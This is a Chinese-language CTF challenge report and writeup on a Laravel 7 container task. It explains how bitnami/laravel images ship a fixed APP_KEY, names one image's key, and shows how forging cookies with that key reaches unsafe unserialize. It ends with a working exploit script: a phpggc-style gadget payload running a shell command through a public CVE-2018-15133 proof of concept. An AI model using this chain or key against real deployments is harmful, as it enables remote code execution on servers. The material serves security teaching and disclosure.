出题报告: container/latest_laravel

一、题目基本信息

  • 题目标题:latest_laravel
  • 题目类别:container
  • 难度:4/5
  • 预计解题时间:8h
  • 收录比赛:hwctf202102

请获取服务器http://{hostname}中/flag文件内容,flag格式为flag{xxx}

题目附件:https://github.com/ssst0n3/ssst0n3_challenges_public/tree/main/container/latest_laravel/attachments

二、设计思路

1. a 0day of image bitnami/laravel

如果用户在使用bitnami/laravel镜像时,/app/config/database.php文件不存在,则/tmp/app/.env会覆盖/app/.env

  if [[ ! -f /app/config/database.php ]]; then
    log "Creating laravel application"
    cp -a /tmp/app/. /app/
  fi

https://github.com/bitnami/bitnami-docker-laravel/blob/master/7/debian-10/rootfs/app-entrypoint.sh

虽然laravel在安装时会随机生成APP_KEY, 但在每个bitnami/laravel镜像build时,已经是一个确定值了。 因此我们可以知道所有bitnami/laravel镜像的APP_KEY, 而这个文件对laravel框架的安全性是至关重要的。

根据这个供应链层的漏洞,出了这个题目。

2. From APP_KEY disclosure to laravel RCE

可借鉴:

三、writeup

1. something interesting

  • docker-compose.yml在使用bitnami/laravel时,使用了latest标签,而不是一个固定的版本
  • docker-compose.yml在挂载文件时,挂载到了/tmp/目录,而不是/app目录
  • 奇怪的一句话: archived @Jan 31, 2021 at 7:54 pm,好像是在说这个文件归档的时间点
  • 目前laravel的最新版本是8.x, 但在bitnami/laravel镜像中,latest标签指向的是最新的7.x版本

本题名为latest laravel, 似乎是要在一个最新版本的php上找到漏洞,但同时题目类别是container,而不是web,说明该题的关键点可能在于容器上,而不是真的要挖掘最新版本laravel的漏洞。

首先分析题目附件,docker-compose.yml文件中挂载了一个EncryptCookies.php文件。 该文件与laravel中的原文件的区别在于,这里挂载的EncryptCookies.php文件多了一行:

protected static $serialize = true;

去翻laravel源码,可以发现这个$serialize变量决定了在解密cookie时,是否反序列化:

https://github.com/laravel/framework/blob/7.x/src/Illuminate/Cookie/Middleware/EncryptCookies.php

protected function decryptCookie($name, $cookie)
{
    return is_array($cookie)
                    ? $this->decryptArray($cookie)
                    : $this->encrypter->decrypt($cookie, static::serialized($name));
}

https://github.com/laravel/framework/blob/7.x/src/Illuminate/Encryption/Encrypter.php

public function decrypt($payload, $unserialize = true)
{
    $payload = $this->getJsonPayload($payload);

    $iv = base64_decode($payload['iv']);

    // Here we will decrypt the value. If we are able to successfully decrypt it
    // we will then unserialize it and return it out to the caller. If we are
    // unable to decrypt this value we will throw out an exception message.
    $decrypted = \openssl_decrypt(
        $payload['value'], $this->cipher, $this->key, 0, $iv
    );

    if ($decrypted === false) {
        throw new DecryptException('Could not decrypt the data.');
    }

    return $unserialize ? unserialize($decrypted) : $decrypted;
}

至此可以确定,本题的漏洞点就是在Cookie处反序列化。下一步,解决以下两个问题:

  1. 如何控制Cookie内容
  2. 寻找反序列化的漏洞利用链

3. 如何控制Cookie内容:APP_KEY

经过一通代码审计,我们理解了laravel cookie的加解密流程。 https://github.com/laravel/framework/blob/7.x/src/Illuminate/Encryption/Encrypter.php

iv=random(16)
prefix=HMAC_SHA1(plain=cookie_name+"v2",key=APP_KEY)
value=AES-256-CBC(iv=iv, key=APP_KEY, plain=prefix|cookie_value)
cookie=base64(iv+value+HMAC_SHA256(plain=value, key=APP_KEY)))

这里使用了HMAC,保证了在APP_KEY未知的情况下,无法破解密文,也无法篡改数据。因此,我们必须要找到服务器上的APP_KEY。

自己反复部署环境发现,/app/.env中APP_KEY的内容一直不变!

可是laravel框架明明会随机生成APP_KEY的啊!奇怪。 https://github.com/laravel/laravel/blob/7.x/composer.json

"scripts": {
    ...
    "post-create-project-cmd": [
        "@php artisan key:generate --ansi"
    ]
}

结合第1节的分析,较新版本的laravel应该不会存在泄漏APP_KEY的问题(即使开启DEBUG)。因此目标就放在了容器镜像上。

难道所有bitnami/laravel镜像的APP_KEY都一样?找了几个镜像试了一下,不一样啊。

翻阅bitnami/laravel的Dockerfile发现, 容器启动时,会将/tmp/app/. 复制到 /app/下

https://github.com/bitnami/bitnami-docker-laravel/blob/master/7/debian-10/rootfs/app-entrypoint.sh

if [ "${1}" == "php" -a "$2" == "artisan" -a "$3" == "serve" ]; then
  if [[ ! -f /app/config/database.php ]]; then
    log "Creating laravel application"
    cp -a /tmp/app/. /app/
  fi

线索逐渐清晰,bitnami/laravel在build阶段,安装laravel时,laravel会自动生成随机的APP_KEY, 但编译成镜像后,APP_KEY就不会变了。

使用量如此大的镜像存在漏洞,确实值得深入分析。

4. 寻找反序列化的漏洞利用链

在phpggc中发现一个在高版本适用的利用链: https://github.com/ambionics/phpggc/tree/master/gadgetchains/Laravel/RCE/7

走读代码发现,在本题中也适用。但经过调试,发现把原payload直接拿来利用不行,需要将protected属性改成public即可本地利用成功。详见下文的exp

5. 等等,为什么本地可以利用成功,远端不行?

经过一段时间反复尝试,质疑出题人,暴打出题人,突然想到之前发现的两条奇怪的信息

  • docker-compose.yml在使用bitnami/laravel时,使用了latest标签,而不是一个固定的版本
  • 奇怪的一句话: archived @Jan 31, 2021 at 7:54 pm,好像是在说这个文件归档的时间点

是不是出题人在出题时latest指向的镜像,和我现在用的latest镜像不是一个东东?那出题人出题时,是什么时间?Jan 31, 2021 at 7:54 pm之前吗?

看来出题人为了防止被暴打,已经留下了一些线索。这个好像也不算脑洞,真实场景中,如果使用latest镜像,也确实会出现这个问题。

观察该镜像仓库,我们发现,latest镜像和几个固定版本号的镜像的digest相同。所以我们只要找到在Jan 31, 2021 at 7:54 pm左右上传的镜像,收集他们的APP_KEY, 即可得到正确的APP_KEY。

我们发现,7.30.1-debian-10-r85刚好在Jan 31, 2021 at 7:53 pm上传,一定是这个了!这个镜像的APP_KEY是xmdC9cSx0QWwOtm9mdG0xfdS3HWQJRtG4DhxmA3pOz4=, 可以利用成功。

四、exp

set -ex
APP_KEY="xmdC9cSx0QWwOtm9mdG0xfdS3HWQJRtG4DhxmA3pOz4="
PAYLOAD_BASE64=$(python -c 'import base64;print base64.b64encode("""O:40:"Illuminate\\Broadcasting\\PendingBroadcast":2:{s:9:"\x00*\x00events";O:25:"Illuminate\\Bus\\Dispatcher":1:{s:16:"\x00*\x00queueResolver";s:6:"system";}s:8:"\x00*\x00event";O:34:"Illuminate\\Queue\\CallQueuedClosure":2:{s:10:"connection";s:9:"cat /flag";s:23:"deleteWhenMissingModels";b:0;}}""")')
git clone --depth=1 https://github.com/kozmic/laravel-poc-CVE-2018-15133.git
./laravel-poc-CVE-2018-15133/cve-2018-15133.php $APP_KEY $PAYLOAD_BASE64

五、总结

这个题目,揭示了一种新的攻击场景,即软件本身可能是安全的,但在制作成镜像后,可能会导致一些关键信息泄漏。